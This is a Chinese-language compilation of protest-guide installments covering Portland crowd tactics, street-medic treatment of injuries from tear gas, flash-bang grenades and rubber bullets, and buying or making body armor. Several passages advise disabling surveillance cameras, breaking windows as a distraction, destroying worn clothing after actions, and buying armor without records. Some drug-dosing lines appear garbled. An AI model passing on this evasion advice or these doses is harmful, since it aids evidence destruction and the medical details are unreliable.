我们已经在波特兰的人群中看到了这一点，在那里，人们已经学会了在警察进攻的时候，大群的人地粘在一起，缓慢而冷静地移动，而不是奔跑，也不会比最必要的时候退缩更多 。

关于这一点，有这样的歌谣：“待在一起，紧紧地待在一起，我们每天晚上都这样做。” 提醒大家，如果能在第二天晚上和更多的朋友一起更安全地完成同样的行动，就没有理由冒着特殊的风险去保护自己的人身安全了。

当然，还有其他因素需要注意。与一个意识到周围环境、脚步敏捷、有自卫能力的团体在一起，总比与一个迟钝、混乱、容易被吓倒的团体在一起要好。您需要有选择标准，并且您的队伍需要足够的事前训练。见《反抗运动如何通过培训来增强力量：行动主义（6）》。

在波特兰，我们多次看到警察采用“冲锋陷阵”的方式，他们全速冲锋，同时使用催泪瓦斯、胡椒喷雾、冲击性弹药和警棍的组合来对付路过的所有人，而不仅仅是抗议者。如果您不属于足够大的人群，也没有足够的装备来防止警察伤人或瞄准个人，那就要做好快速逃跑的准备。警察不可能冲刺很远。

XVII 阻止摄像头，破坏窗子

「图」

人们用油漆和其他手段来阻止监控摄像头拍摄示威者。

一些示威者还打碎了窗户—— 这种战术可以将警察的注意力从抗议者真正想要做的事上吸引过去。

如果您参与任何形式的活动，穿戴得当都是尤为重要的（见上文）。在事件发生后，将您所穿的衣服全部处理掉，这可能是值得的。什么是更昂贵的？再去一次旧货店，还是保释金、诉讼费和律师费？别心疼那几件衣服。

XVIII 法律协助，监狱协助

「图」

组织适当的法律支持是非常重要的，镇压部队每天晚上都会逮捕人。即使您不能去参加行动，您也可以帮助人们保释出狱，或者筹钱捐给保释基金。

一个结合了本文介绍的所述各种战术的运动 —— 示威者在波特兰的行动 —— 可以帮助您在面对相当多的国家暴力时保持住抗议空间。这些战术在您的国家也是重要的。〇

Tools and Tactics in the Portland Protests

—— 未完待续 ——

原文

警用武器常见伤害及基本处理方法：示威参与者指南（6） - iyouport

示威参与者指南

【2021年5月20日存档】本文是给抗议者团队中医疗救助小组的参考资料，包括伤者应该了解的知识。不要碰您未知的领域，如果您不确定自己的行为是否得当，就去找更专业的人，避免二次伤害

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《认识警棍，危害能力和防御方法：示威参与者指南（1）》
- 《脑袋是人最大的弱点—了解头盔和使用技巧：示威参与者指南（2）》
- 《抵制催泪瓦斯和橡皮子弹：示威参与者指南（3）》
- 《如何处理枪伤：示威参与者指南（4）》
- 《从雨伞到激光、气球到电动工具：示威参与者指南（5）；战术器具汇总》

以下准则旨在使街头医务人员和医疗救助队员能够应对警察暴力造成的一些常见的伤害。

这些准则是根据法国政府试图在圣母院建造机场但最终失败了的反抗斗争中收集的经验制定的。如果根据现实生活中的经验，很难找到关于如何治疗这种伤害的可靠信息。

请注意，大多数主流的医疗专业人员在治疗 *警用武器造成的伤害* 方面经验都不够；本指南分享了医护人员在反复应对这些伤害时获得的知识，希望能让其他人免去试错学习的麻烦。

正如“不伤害联盟”（Do No Harm Coalition）曾经优雅地指出的那样，受过医学训练并不意味着你有资格成为一名街头医生。街头医务

人员在不断发展的讨论中、从分享关于什么有效和什么无效的信息中获益。

📌 这里列出的危险信号也可以帮助受伤的人识别自己的症状何时严重，何时应该寻求专业的医疗护理。

这些指南并非详尽无遗，可能有许多事没有包括在这里。例如，在2018年4月和5月期间，警方对 ZAD 抗议者部署了数千枚催泪弹和闪光弹榴弹，但胡椒喷雾相对较少。本文将基于最常见的镇压武器加以分析。

下面的内容不是一个自己动手的指南。您所在的地区或附近的大城市很可能有一个街头医疗队，您需要首先找到他们！如果真的没有，那就组建一支自己的队伍，调用那些有外科基础知识的人，但他们不一定擅长治疗警用武器造成的伤害；在他们的基础知识之上得到更专业的培训。

医疗队有时也会对新加入的医疗人员进行自己的培训。📌 这里详述的许多做法需要广泛的知识和经验 —— 如果做错了，真的会伤到人。您要小心。请不要通过声称您没有的经验或试图在您的知识范围之外鲁莽尝试来危害他人的健康。照片来自于 *Ujimaa Medics*，这是一支由黑人女性在芝加哥成立的救助小组，他们培训社区应对城市紧急情况的第一反应。

以下是一些资源，可以帮助您获得更多关于街头医生的历史和实践的信息 —— 从它作为民权运动期间的自卫工具开始，到它在最近发生的抗议中的使用。

📌 请始终优先考虑日子最新的来源，并使用基于证据的做法：

- 现代街头医务人员简史
- 街头医生：保持我们的反抗运动健康和安全
- 在哪里可以找到你当地的医疗团体 —— 这个信息并不总是最新的，但提供了一个很好的起点
- Rosehip Medics—— 是一个历史悠久的医疗团体，在他们的网站上提供了各种信息，从“反叛和大流行病中的健康和安全”到关于紧急医疗服务替代品的免费小册子
- Paper Revolution—— 解释了成为街头医生的一些方法，并提供了更详细的实用信息的链接，如他们的街头医生指南或暴动医学指南

📌 下面是近期医护人员联盟进行培训的视频，内容涉及如何在街道上保持安全和健康：

上图中这本书在这里下载：《黑十字会：行动者应当掌握的知识技能》

这些说明的起源

「图」

下面的说明是由ZAD治疗师小组编写的，这是一个跨学科的团队，由护士、医生、街头医生、药师、心理学家、自然疗法医师和积极人士组成，他们是参与保卫圣母院ZAD（Zone à Défendre）斗争的医疗工作者大网络的一部分。

用他们的话说就是：

> 在2012年秋季的驱逐行动中，一些医疗专业人员来到现场支持医护人员。多年来，我们一起准备后勤和通信战略，并保证在发生驱逐企图或其他警察干预的情况下拥有必要的设备。我们还定期进行讨论，并定期进行对等的培训。

—— 以上内容摘自2015年ZAD街头医务人员的声明。（以印刷形式出版；不可在线获得）一枚催泪瓦斯榴弹

关于警用武器造成的常见伤害的非详尽说明

「图」

以下说明是在2018年一次驱逐ZAD之后编写的，在此期间，由于警察用坦克阻挡救护车，医务人员建立了一个平行的紧急护理系统。

这些说明以获得特定资源和技能及知识为基础；为了清晰化和背景化，它们已被编辑。

📌 这些说明中的许多都假定有能力获得医疗护理和转移到医院作为备用选项。如果您的国家没有全民医疗，如果您自己也没有医疗保险，但与您社区中的医疗工作者有联系，请向他们索取资源，或与您周围的人合作，寻找其他方法获得您所需的护理。

这些指南是为训练有素的街头医务人员和医疗工作者应对警察暴力而编写的。它们不能代替正规医院的医疗或诊断。请不要在您的专业范围外执业!

I. 化学制剂

「图」

催泪瓦斯又称CS、CN或CR气体，是一种气溶胶，对呼吸系统有刺激作用。胡椒喷雾剂是一种含有辣椒素的红色油性物质，从辣椒中提取，直接喷到皮肤和眼睛上，形成强烈的刺激。

A. 催泪瓦斯

「图」

i. 低浓度时

「图」

——症状：皮肤和眼睛感觉刺激和烧伤。

——处理方法：尽量用水压冲洗或轻柔摩擦冲洗。

眼睛：用生理盐水溶液冲洗（水＋盐，每升9克）。它不需要是无菌的。

皮肤：用90%的水，10%的美乐事 Maalox，或者水加4%的小苏打混合。如果您没有这些东西，普通的水就可以用来治疗 *低浓度* 的催泪瓦斯。

注：催泪瓦斯会导致呼吸困难或引发哮喘发作。对于有哮喘病的人来说，如果他们感觉喘不过气来，可以采用沙丁胺醇，甚至口服强的松（由有经验的医生指导）。之后几天内避免接触催泪瓦斯。

【注：Maalox 是赛诺菲（Sanofi）拥有的抗酸剂品牌。他们的主要产品是含有氢氧化铝和氢氧化镁的调味液，其作用是中和或减少胃性物质；沙丁胺醇，常见商品名泛得林，为一种用于扩张肺部大型及中型气管的药物。可用于治疗气喘相关病症，例如气喘急性发作、运动诱发性支气管收缩，以及慢性阻塞性肺病。沙丁胺醇常配合定量吸入器或雾化器使用，但亦可制成药锭或静脉注射。吸入剂型约15分钟内即

可见效，效用可持续2至6小时。】

ii. 高浓度或频繁重复接触催泪瓦斯时

「图」

——可导致残疾或其他神经系统症状：恶心、呕吐、剧烈头痛、精神错乱。在这些表现中：

- 排除脑震荡！
- 了解损伤的机制。发生了什么？毒气？榴弹爆炸的巨响？撞击了头部？高处坠落？…… 询问伤者和目击者关于具体情况。
- 伤者是失去了知觉还是能记得一切？

对于疼痛: 布洛芬

对于中度恶心和呕吐：口服或栓剂类抗恶心药物，如甲氧氯普胺；姜片和薄荷或甘菊茶也能有帮助。

对于严重的呕吐和无法喝下任何液体或药物（有脱水的风险）：转到医院进行静脉输液和观察。

对于严重的丧失意识：不要口服药物，将伤者置于恢复位置，并呼叫救护车。

注：确保人们知道在拿起或接触催泪瓦斯罐之前要戴上厚的皮手套或专门的耐热手套（如烧烤手套），以避免烫伤。

【注：甲氧氯普胺适用于治疗胃及食道问题的药物。本品主要用于治疗恶心和呕吐，并可协助胃排空障碍的患者排空胃部，并治疗胃食道逆流。】闪光榴弹爆炸的情景，近距离爆炸容易导致人失去意识

II. 闪光弹榴弹和其他爆炸装置

「图」

A. 爆炸伤

「图」

爆炸伤主要损伤耳朵。

i. 撕裂耳膜：

「图」

- 根据我们的经验，这种情况不常发生。不是紧急情况。
- 症状：疼痛，耳朵出血，听力暂时下降。
- 治疗方法：用耳镜检查耳朵，最好在24小时内完成。耳膜撕裂的情况会在2周内自愈。
- 如果可以进行体检，可以预防性地给予8天的抗生素滴剂（氧氟沙星滴剂），以避免中耳和邻近区域（鼓膜后）的感染。在任何情况下，10至15天后到初级保健部门复诊是最理想的，以便进行耳镜检查，如果有持续的异常，则转诊到耳鼻喉专科。

ii. 内耳爆炸伤

「图」

- 根据我们的经验，这种情况经常发生！
- 症状：疼痛、耳鸣、听力下降、眩晕或头疼。
- 耳鸣不是来自于鼓膜，而是来自于内耳。听力损失程度是治疗的指导因素（而不是耳鸣）。
- 简单的听力测试：用拇指与其他手指在人的耳朵旁边摩擦。问他们是否能听到，然后在另一边做同样的事。
- 治疗方法：如果在爆炸后24小时内仍有听力损失现象，请尽快与耳鼻喉科专家预约。为了避免或至少限制永久性的听力损伤（由于内耳细胞死亡造成的），可能需要使用类固醇：耳内注射泼尼松龙（0.5mg，1mg/kg/天，持续2–3天）是最常见的处方。

iii. 爆炸导致的肺部损伤

「图」

- 根据我们的经验，较少发生。
- 症状： 事故后几天内出现呼吸困难。
- 治疗： 急诊。肺水肿需要住院治疗。当气泡从肺部进入血液并进入大脑时，由肺部爆炸伤害引起的空气栓塞可导致癫痫、中风和/或永久性脑损伤。

iv. 爆炸导致肠道伤害

「图」

- 根据我们的经验，较少发生。
- 症状：在爆炸后的几天内出现腹痛、便血，可能表明肠穿孔。发热和腹胀（胃部发硬）可能表示腹膜炎。
- 治疗： 这两种情况都是医疗紧急情况，需要住院治疗！

v. 切记！

「图」

- 使人远离额外的噪音。
- 如果伤害对认知功能有影响、或对器官有损害，请毫不犹豫地联系紧急医疗提供者。
- 建议在24至48小时内就耳部爆炸伤害进行ENT专家会诊，一定不要延误！时间很重要。如果您不想造成永久性伤残的话。
- 观察爆炸伤患者数天。表明并发症的症状可能会延迟出现，如听力、呼吸、和腹部功能的变化。

B. 弹片伤

「图」

根据我们的经验，弹片伤经常发生。弹片往往是塑料的，有时是金属的。闪光弹榴弹在撞击人行道时，可将泥土和沥青与弹片一起推进；这就增加了感染的风险。有时入口处的伤口很小，甚至几乎很难看清楚；有时则是非常大而明显的。

📌 请注意，弹片伤是严重的，即使它们起初看起来不是什么大事。检查、观察和跟踪都至关重要的。

永远不要接近或捡起一个还没有开始冒烟的罐子。它可能是一枚闪光弹榴弹，严重的情况下会炸掉你的手。这在ZAD和 Gilets Jaunes 的抗议活动中都发生过。

先检查和评估伤口的宽度和深度，然后再包扎。

📌 按损伤部位治疗：

i. 胸部、腹部、面部

「图」

紧急情况：有潜在的生命危险。要看有经验的医生。疏散并评估呼吸/神经/心血管系统的不适和出血的程度。

II. 四肢

「图」

检查一下：

——关节受损。

——神经损伤。

神经损伤需要立即住院治疗！ 检查伤口上下的脉搏、运动、感觉，比较一下旁边的肢体，作为参考。看是否有麻痹、虚弱或活动范围困难。麻木、刺痛或针刺感表示神经损伤。

——肌腱受损：

- 尤其是手和脚。
- 常发生于手背处的伤口（有指甲的那一边）。
- 症状/体征：伤口底部有明显的肌腱损伤，或根据解剖学怀疑有肌腱损伤。
- 活动范围正常并不代表肌腱没有损伤。
- 治疗方法：如果怀疑是肌腱损伤，请去看有经验的医生。可能需要在24小时内进行手术干预，以避免破裂的风险。

根据弹片的大小来清除弹片。所有大块的弹片都必须取出。

i. 大的伤口大的异物

「图」

——不经常发生

——治疗：请找有经验的医生，将病人转诊到医院或取出异物并缝合皮肤，运用优秀的解剖学知识，通过后续护理和预防性抗生素控制感染风险。

ii. 看起来是良性的小穿刺伤口，但深度不明

「图」

——经常发生。

——治疗：清洁、包扎、跟进；如果有许多明显的浅层异物 (如从滑板上摔下来那种严重擦伤)，蜂蜜敷料可将其引出，而无需物理清除。密切观察是否有感染。

局部治疗：

- 直接按压可以在大部分时间内止血；
- 每个开放性伤口都需要基本的卫生处理! 医护人员必须用肥皂和水洗手，并戴上医用手套，在处理每一个伤员之前都要换手套。
- 尽快用 Betadine 肥皂 (红色的那种) 擦洗：一些被弹片刺伤的伤口并不能立即看到。

清洁和干燥：

用肥皂和水清洗伤口（如果没有肥皂和水，则用无菌盐水清洗）。

接着用双氧水，它有发泡的优点，有时可以抽出小块弹片。

如果异物很小或很难看清，用无菌镊子，但不要撕扯它或使状况变得更糟! 身体会自然地拒绝小碎片，或者在它们周围形成一个缓冲区。当弹片进入身体时，伤害已经完成；额外的风险是感染。

注：

- 使用无菌医用镊子。普通的镊子（用于去除毛那种）太大，会撕裂皮肉。
- 磁铁可以帮助清除金属弹片。将弹片从进入的路径拉出来——要小心！否则，你可能会制造一个新的伤口。
- 如果太痛，可在伤口底部使用利多卡因喷雾等局部麻醉。

用消毒剂消毒：

-记住：如果消毒剂的瓶子开封超过一个月，就不能要了。开瓶后在瓶子上标明日期。优先使用小瓶，避免过期。

-黄色的 Betadine、聚维酮碘。(如果无法用肥皂和水清洗的话，先用红色的Betadine)。碘过敏者不适用于**Betadine**。

-氯己定是好的，比如一次性使用的 Dosiseptine，但不要用比塞普汀（酒精类的），因为它会刺痛。

-稀释的次氯酸盐（Dakin’s solution）效果很好，但必须用无菌水稀释50%，所以不实用。酒精是有效的，但烧得很厉害。

-用于穿刺伤口：消毒表面和内部，使用不带针头的消毒注射器。注射前将注射器的末端放在伤口内。不要使用双氧水。

【注：聚维酮碘，又称优碘是用于手术前后皮肤消毒的杀菌剂。其溶液是中国大陆称碘伏的一种。它可以用于消毒患者的皮肤和医护人员的手，用于轻微的伤口，能以液体或粉末的方式应用于皮肤上。氯己定为外用抗菌剂及阳离子表面活性剂，对多数革兰氏阳性菌和革兰氏阴性菌具杀灭作用。除可抑菌外，也可杀灭一般细菌。】

包扎：

– 近似于控制出血的伤口：干绷带、纱布敷料、弹性绷带。

– 伤口渗血或化脓：可以考虑用吸收性的垫子，比如止血包扎，然后在上面加压和绷带包扎。

– 如果是中度出血或未愈合的伤口：用干净的生蜂蜜（不是玉米糖浆的那种）、新孢霉素或敷伤巾，然后敷料和绷带。

【注：敷伤巾 tulle gras 敷料是法国常用的一种绷带，它由浸有软石蜡油，秘鲁香脂和橄榄油的织物组成，可防止其粘在伤口上，但意味着它需要与另一种吸收性敷料结合使用。】

更换敷料：

– 开始时每24小时更换一次 (视严重程度而定)，然后每48小时更换一次。

– 用生理盐水溶液冲洗。不要再涂抹消毒剂，因为这样会延迟愈合。

– 防止二次感染。弹片伤经常会出现这种情况! 感染的迹象包括发红、发炎、流脓、流泪或发烧。在受伤后48小时内，请找有经验的医生咨询，并服用或局部注射抗生素。

– 脓肿可能需要进行X射线检查、超声波检查或手术咨询，这取决于伤口的情况。

📌 受伤的人请注意：如果您出现发烧、发冷、僵硬、发红、伤口周围湿润、皮肤上出现红色斑块或条纹，或出现神经系统或运动障碍，请咨询医生、或立即去急诊室。

弹片伤心得：

不要太用力挖出小碎片。

立即评估是否有神经或肌腱损伤。

监测是否有继发感染的迹象，并持续数天。

III. 橡皮子弹伤害

「图」

橡皮子弹伤往往会留下很大的瘀伤。要检查是否有其他病变! 如果您怀疑是需要手术的外伤，不要给伤者吃任何东西。不能喝酒，不能吃东西，不能抽烟。橡皮子弹

A. 按伤处划分

「图」

i. 四肢大面积瘀伤

「图」

– 评估神经血管状态：脉搏、运动、感觉和颜色。如果有异常，急需住院治疗。

– 摸摸骨头，看看有没有针刺式的疼痛和蠕动。测试每个关节的活动范围。如果不能排除骨折的可能，24小时内要去做X光检查。如怀疑有移位骨折，需要立即拍X光片。

– 橡皮子弹对肌肉和肌腱的撞击不属于紧急情况。

– 用山金车（Arnica montana）酊剂或凝胶或地雏菊（Bellis

perennis）酊剂治疗所有瘀伤或血肿，尽快局部使用（实际的酊剂，不是顺势疗法）。

– 如果计划住院，在应用外用治疗之前要等待：因为它可能会掩盖病情的严重性。

– 最重要的是固定受伤部位。

ii. 面部伤

「图」

– 看有经验的医生。

– 触诊面部骨骼，寻找表明骨折的针尖状疼痛和蠕动：眼眶、鼻子、颧骨、下颌骨、下巴、牙齿衔接状况（闭合和对齐）。检查每颗牙齿。

– 对于断裂、移动、不固定或疼痛的牙齿 —— 立即看牙医。用牛奶、盐水溶液或唾液保存掉落的牙齿。理想情况下，伤者会把它含在嘴里，注意不要吞咽。

简单的神经面部评估：

- 轻触，比较额头、脸颊、下巴两侧的感觉。
- 动作：微笑时对称，紧闭时双眼对称，眼球运动（双向、垂直、水平、对角等），瞳孔等大、圆润，对光反应灵敏。

iii. 眼睛伤

「图」

– 立即住院治疗。

– 不能吃东西，不能喝水，不能吸烟。

– 用无菌盐水溶液冲洗局部。

– 让患者躺下，用无菌敷料覆盖双眼。

iv. 鼻部撞击

「图」

– 可能是骨折

– 做个X光检查

-鼻衄是指鼻子出血，不要小视，它可能会变成大出血。

处理：

- 用两根手指捏住鼻梁，脖子向前弯曲
- 有经验的医护人员可以用纱布堵住鼻孔
- 如果失血量大，要叫救护车

v. 胸部撞击

「图」

– 疼痛可能表示肋骨骨折或肺部受损。请看有经验的医生。

– 肋骨骨折：沿胸骨线触诊时有针刺痛感。

- 深吸气时疼痛。
- 没有呼吸困难或咳嗽。
- 如果是单纯的骨折，用休息、止痛药治疗，保证深呼吸，避免肺炎，局部用紫草药膏（Symphytum officinale），每天2～3次。

– 气胸：疼痛和咳嗽，有时吐血。

- 24小时内拍X光片，如有呼吸困难则立即拍片。
- 监测呼吸频率。正常为每分钟15–20次呼吸。

vi. 腹部撞击伤

「图」

– 要看有经验的医生。

– 检查：

- 肝脏 (右上腹) 和脾脏 (左上腹) 周围的疼痛: 内出血的迹象表明

有危险。
- 迅速做B超检查。
- 大便带血、腹痛、胃区发硬或发热，怀疑有腹膜炎：立即住院治疗。

vii. 腹腔和胸腔冲击伤

「图」

– 检查是否有内出血（休克）的迹象，如 脸色苍白、虚弱、出汗、心动过速，但血压正常。

– 晚期症状包括低血压、精神状态改变、意识丧失。

– 要观察伤者数个小时!

viii. 下背部撞击伤

「图」

– 寻找尿液中的血液。最好做个尿检，检查一下肾脏是否受损。

ix. 睾丸伤

「图」

– 如果出现瘀伤或过度疼痛，请做紧急超声波检查。

○□

—— 未完待续 ——

原文

了解防弹衣：示威参与者指南（8） - iyouport

示威参与者指南

【2021年5月28日存档】愿我们都能活着看到更美好的未来

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《认识警棍，危害能力和防御方法：示威参与者指南（1）》
- 《脑袋是人最大的弱点—了解头盔和使用技巧：示威参与者指南（2）》
- 《抵制催泪瓦斯和橡皮子弹：示威参与者指南（3）》
- 《如何处理枪伤：示威参与者指南（4）》
- 《从雨伞到激光、气球到电动工具：示威参与者指南（5）；战术器具汇总》
- 《警用武器常见伤害及基本处理方法：示威参与者指南（6）》
- 《充分利用大规模逮捕：示威参与者指南（7）》

本文内容中涉及的资料在这里下载：https://www.patreon.com/posts/liao-jie-fang-yi-48178544

过去四年，警察和暴徒对示威者的暴力事件不断升级，在美国，仅2020年就有十多名示威者被谋杀。这不是特朗普担任总统的后果，而是社会压力加剧的结果，而这种压力并不会因为另一位政客上台而得到缓解。

不幸的是，把街道拱手让给警察和暴徒最终只会增加所有人的危险。通过采取适当的预防措施，行动者可以减轻风险，同时继续采取行动，建设一个更美好的世界。

本指南将回顾各种防护装备，探讨每种装备的优缺点，以便您能挑选出最适合自己的装备。您拯救的生命是您自己的。

📌 本文将重点关注三种类型的装甲：1、运动装甲，用于减轻豆袋弹和警棍等冲击性武器的伤害；2、软防弹装甲，或“防弹背心”，用于抵御手枪的伤害；3、板式装甲，用于保护您的重要器官免受步枪射击。

行动者面对的威胁模式—— 您要防范的风险—— 在不断变化。几年前，抗议者佩戴装甲的目的是为了防范拿着刀棍的暴徒；在BLM之初，主要威胁模型涉及警察使用各种冲击性武器；而到2020年夏天结束时，警察仍然在发射榴弹和胡椒球，但法西斯分子射击的实弹已经成为一个更紧迫的问题。

📌 所有的装甲都涉及到优点和缺点。大多数装甲降低了机动性，机动性是抗议者对抗警察的主要优势之一，因为警察经常被官僚主义的指挥结构和沉重的装备所拖累。大多数装甲会让行动者脱颖而出，使到达和离开行动地点变得更加困难。有些装甲还会有法律处罚的风险。如果您是唯一一个穿盔甲的人那就很糟了，除非它可以被隐藏起来。不过，将穿戴盔甲正常化可以改变这点，而且穿戴盔甲的人越多，我们所有人就越安全—— 既不会受到直接攻击，也不会因为保护身体而被警察盯上。

哪种盔甲是合适的，会因情况不同而不同。在许多情况下—— 例如，当速度或曝光度是最重要的时候—— 最好还是不要穿盔甲。

装甲很容易给穿戴者一种虚假的安全感。在撰写这篇文章前不久，又发生了一起法西斯分子枪杀反示威者的事件，幸存者穿着防弹衣，但子弹进入他们身体的部位却没有防护。

没有人是铁打的，无论他们穿什么衣服。您需要记住这点。

摘要

「图」

如果您想主要保护自己免受警棍和其他警用冲击性武器的伤害，可以买一个滑板头盔，一些硬壳护膝，一些儿童护胫板穿在前臂上，可能还可以佩戴越野车胸甲或塑料击剑胸甲。如果您想增加更多的保护，可以考虑盾牌、全腿甲，以及为击剑运动员准备的 HEMA gorget—— 塑料或填充的颈部盔甲。盾牌的指南在本文的后面。

如果您想穿一些能保护自己免受手枪伤害的东西，可以买一件包裹性的IIIA战术背心。如果您担心的是刀子，可以多花点钱买一件有防刺

功能的背心。

如果您想保护自己不受步枪子弹的伤害，可以买一个携板背心和一对III＋防弹板。请注意这个会比较重，可能妨碍您的快读运动，也比较难隐蔽。

曾经的 Tute Bianche 和 Padded Bloc

「图」

不久前，美国和欧洲许多示威者面临的主要威胁是警察警棍的钝性冲击。作为回应，一些示威者 —— 尤其是意大利的 Tute Bianche——戴上头盔和衬垫，以保护自己的身体不受警察的拳头和棍棒的伤害。美国的一些示威者接受了这些战术，这被称为 “Padded Bloc” 。

今天的示威者仍然可以从当时制定的战术中学到很多东西，特别是在几乎没有致命暴力或攻击威胁的情况下可以部署这些战术。

从本质上讲，作为一种激进的非暴力反抗，Padded Bloc 战术最有效，其目的是延缓或干扰不准备升级到潜在的致命武力的对手。它们对于分散注意力和拖延时间比赢得进攻性胜利更有用，但它们可以在一个更大的战术和战略的生态系统中发挥宝贵的作用。

本指南将主要关注能够抵御刀枪的盔甲形式，以扩大现代抗议者的选择范围。反资本主义示威者反对2001年在意大利热那亚举行的G8集团首脑会议。

下面是一个视频，来自欧洲各地的示威者反对2000年在布拉格举行的国际货币基金组织和世界银行的首脑会议，其中包括一些采用 Tute Bianche 战术的示威者：

合法性

「图」

我们不是律师，您应该做您自己的本地研究。

在美国，联邦政府禁止暴力重犯拥有或穿戴用于抵御子弹的盔甲（在此称为 “防弹衣” ），除非得到雇主的特别许可。

除联邦法律外，美国各州都有自己的法律对防弹衣进行管制。在大多

数州，如果被发现穿戴防弹衣，可能会受到额外的指控。在堪萨斯州，示威时也被禁止穿戴防弹衣。在康涅狄格州，你甚至不能把防弹衣运到你家里。关于未成年人是否可以拥有或穿戴防弹衣，还没有找到确切的答案。

防弹衣的合法性在不同的国家也有很大的差异。比如在加拿大的一些省份和澳大利亚的一些地区，您需要授权或拿到许可证才能穿戴。英国似乎没有限制平民使用防弹衣的法律。欧盟禁止用于“主要军事用途”的防弹衣，这意味着只有某些形式的防弹衣是合法的。幸运的是，在日本和香港，防弹衣似乎是合法的，但在阿根廷、巴西和泰国都是被禁止。越野摩托胸甲

采购防弹衣

「图」

截至本报告编写之时，防弹装甲在美国已很难买到。不断加深的政治危机使各方争相保护自己；大多数软甲和硬甲零售商都报告说，订单至少延迟两个月才能有货。建议您提前了解自己所需的产品，并留意交易 —— 或者甚至只留意产品有货的通知。

简单说，您不能等到危机真的加深了即将爆发了才开始准备装备。行动者社区应该长期预算此类工具，包括面罩、头盔等。

美国有一家装甲商叫红星防务。他们自己生产的III＋防护板价格不菲 —— 目前是300美元一副—— 而且零售的IIIA软背心价格也不低（225美元），但他们也出售比其他地方更便宜的防弹版和战术手套。目前他们的盔甲订单有4到8周的滞后期。这家公司是左翼，他们的目标不是利润，而是保护革命者的身体。

大多数防弹衣零售商的目标是三个市场的某种组合：警察和军事人员、右翼准军事人员、和私人保安（以及延伸到参与非法活动的人，比如黑帮）。只有少数零售商还在专注于保护平民和学童的安全，推广“防弹背包”和类似的产品。

到目前为止，快速周转防弹衣订单的最佳市场是eBay。新的IIIA防弹衣可以从英国和加拿大采购，随时可以发货；来自美国的剩余物资防弹衣也应该很快就能发货，不过这些防弹衣的存货量有所不同。大多数剩余物质都是将过期的凯芙拉纤维插入到新背心中的。

【注：凯芙拉是美国杜邦公司于1965年推出的一种芳香聚酰胺类合成

纤维，发明者为波兰裔美国化学家斯蒂芬妮·克沃勒克。 凯芙拉极佳的抗拉性能，其强度为同等质量钢铁的五倍，而密度仅为钢铁约五分之一，因此在70年代初被用于替代赛车轮胎中的部分钢材。此外，凯芙拉不会像钢铁般与氧气和水产生锈蚀。】

对于剩余物资防弹衣的看法不一，但大多数情况下，它们被认为是可以接受的。因为凯芙拉纤维会因紫外线照射而退化，所以它有一个有效期 —— 通常是生产后五年。警察部门在五年后就会更换装备。但盔甲在很长时间后仍然有效。在我们看到的每一项测试中，过期的凯芙拉防弹衣都能继续抵御所有额定的威胁。

不可能推荐使用过期的防弹衣，因为无法保证它们的安全性，但二手防弹衣的性能很好，而且比新防弹衣便宜很多。此外，具有讽刺意味的是，警察剩余物资防弹背心的零售商往往是最不针对右翼和警察市场的零售商。

您可以亲自到军队剩余物资商店购买防弹背心，特别是剩余物资背心。可以带着现金到商店去购买，如果能有熟人就更好了，可以要求不被记录的批量购买。

在 Armslist 上也有一个防弹衣的市场，它就像 Craigslist，后者是枪支的市场。看来一些有进取心的人，预计到当前的危机，已经囤积了很多装备，并直接出售。

但是，据报道，该网站上有很多骗子；如果您在该网站上购买任何东西，最好使用提供买家保护的服务，比如**PayPal**，而不是通过 **Venmo** 支付，因为 Venmo 没有保护。如果卖家不想支持买家保护，这本身就是一个危险信号。

有传言说，使用 ArmsList 的人被人陷害抢劫。考虑在白天在光线充足的公共场所见面，并带一个伙伴一起去，尤其是可以合法隐藏枪支的人。您可能希望确保您的衣服和车辆不会泄露您的政治立场或其他有关您的细节。如果您使用现金购买，请在拿到物品后再付款。在可能的情况下，向经 ArmsList 审核的卖家购买。

另一方面运动装甲仍然是现成的。虽然COVID-19使人们很难在旧货市场和二手商店里以便宜的价格买到运动装甲，但您通常可以以非常便宜的价格买到二手装甲。在美国，也许能在枪展上找到高质量的护膝和护肘，因为伊拉克 和阿富汗战争中退役的军事装备充斥市场，使价格下降。IIIa级背心

运动装甲

「图」

运动装甲提供了一种廉价而合理有效的方式来保护自己不受冲击性武器、警棍以及某种程度上的刀子的伤害。

但它不能保护您不受枪击伤害。您通常可以从二手货源中获得；其中大部分可以隐藏在衣服下面，这点非常可取。它在法庭上可能会比弹道装甲看起来更安全，不至于让您因为一个背心吃官司。

它是合法的，很多的人穿它 —— 它不太可能引起额外的指控，而如果您穿着专业的防弹装甲，就有可能因此被指控。法庭会据此声称您“持有犯罪工具”。

运动装甲的基本原理是“硬/软”的防护模式。外部坚硬的外壳（通常是塑料）承受武器的冲击，防止穿透，并将冲击力分散在广阔的表面区域。在外壳下面，柔软的填充物吸收冲击力。

有效的盔甲都需要这两个部分。例如，中世纪的钢铁盔甲，依靠厚厚的绗缝布层来减少打击的冲击力。一些现代运动装甲缺乏硬壳，包括加垫的衬衫和裤子以及拳击头盔；这些都不太适合现代行动主义的目的。

防弹装甲是为了保护您的重要器官不受枪击，而运动装甲则是为了保护您身体的更多部位—— 例如，肩膀、前臂或关节，这取决于盔甲本身的设计。对付警方的冲击性武器，这一点至关重要。📌 警察接受过训练，大多数冲击性武器都直接会瞄准您的肚脐或以下部位；他们通常特别针对膝盖或四肢。然而，警察也经常用冲击性武器直接射击人们的胸部、背部或头部，并将警棍刺入胸部或腹部，或者挥动警棍殴打人们的背部或头部。

当务之急是保护好自己的头部。之后，您可以考虑护膝，因为对膝盖的冲击比对身体其他大部分部位的打击更具有致残性。

当冲击弹药致人死亡时，通常是因为它们击中了人的头部或胸部；胸部受伤可能会打断一根肋骨，从而刺穿肺部或心脏。这种情况不常见，但是，保护胸部绝对是个好主意。一些预计会与持棍攻击者近距离接触的人，也需要戴上前臂护具，通常是重新利用护胫板。这些护具可以用来阻挡棍棒或警棍的打击，尽管这种护具很难保证全面的安全。这是击剑运动用的护胸装甲

自己动手制作盔甲

「图」

您也可以自己制作有效的盔甲，虽然二手运动装备往往很便宜，以至于没有必要这样做。但如果您预测购买会被记录身份，或者的确买不到，那自己做就是好主意。

在自己动手制作装备时，要确保遵循硬/软质模型。对于外壳，塑料是最轻的，一般来说也是最好的，但金属板也可以—— 橡胶、木头甚至厚厚的杂志都可以。我们知道有一个抗议者戴着用旧车牌做的前臂护具，很帅的。

橙色的交通锥材料虽然不是特别坚硬，但聊胜于无，而且往往容易买到。您还可以用很多方法重新利用塑料水桶。我们遇到了一种特别有前途的方法，用5加仑的水桶制作简单的胸甲，虽然对于我们的目的来说，它需要在后面垫上泡沫。

